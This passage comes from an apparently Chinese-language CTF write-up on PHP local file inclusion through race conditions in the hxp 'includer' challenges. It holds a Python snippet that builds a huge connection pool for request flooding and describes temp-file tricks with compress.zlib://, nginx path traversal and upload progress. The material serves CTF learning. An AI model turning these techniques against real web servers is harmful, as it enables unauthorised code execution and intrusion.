    # Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
    adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
    session.mount('http://', adapter)
    return session

以及使用multiprocessing库和threading库,同时多开进程和线程,最大程度上往外狂发请求,使用multiprocessing库好像能在一定程度上减少python本身的GIL(全局解释器锁)虚假多线程的影响(印象里好像就是多线程其实也只有那个拿到GIL的线程能跑,每次只有一个线程在CPU上执行,顶多就是利用好IO切换的时间,能跑满一个CPU),开了这个多进程之后似乎是每个CPU上单独起一个python进程,各自有各自的GIL,反正就是能提高CPU利用率就是了,在多个CPU上各自进程的线程疯狂上下,而不是只在一个CPU上几个线程疯狂上下

还有之前hxpctf2019出的includer的题解,使用compress.zlib://这个协议产生临时文件(就和上传文件的产生临时文件类似),配合nginx错误配置的目录遍历获取临时文件名
这里面同时也使用了手写socket卡住PHP执行,利用PHP输出缓冲区大小限制,通过输出长度大于缓冲区强制PHP在http请求未结束时提前发送回显等操作,至于那个临时文件上传多少写入多少,先校验再继续传输写入包含,多多少少有点玄幻,可能需要高强度看源码,但都很值得学习
https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

不过说到底,PHP文件包含一般有一个裸包含,upload progress基本上就能打通了,生产环境也许还能再包含一下log之类的,感觉这种在极限限制下的奇技淫巧意义不一定大啊

参考链接

出题人的官方题解
PHP LFI with Nginx Assistance
pasten的题解(说起来这个解就是预期解来着)
Winning the Impossible Race – An Unintended Solution for Includer’s Revenge / Counter (hxp 2021)
zedd师傅的分析
hxp CTF 2021 - The End Of LFI?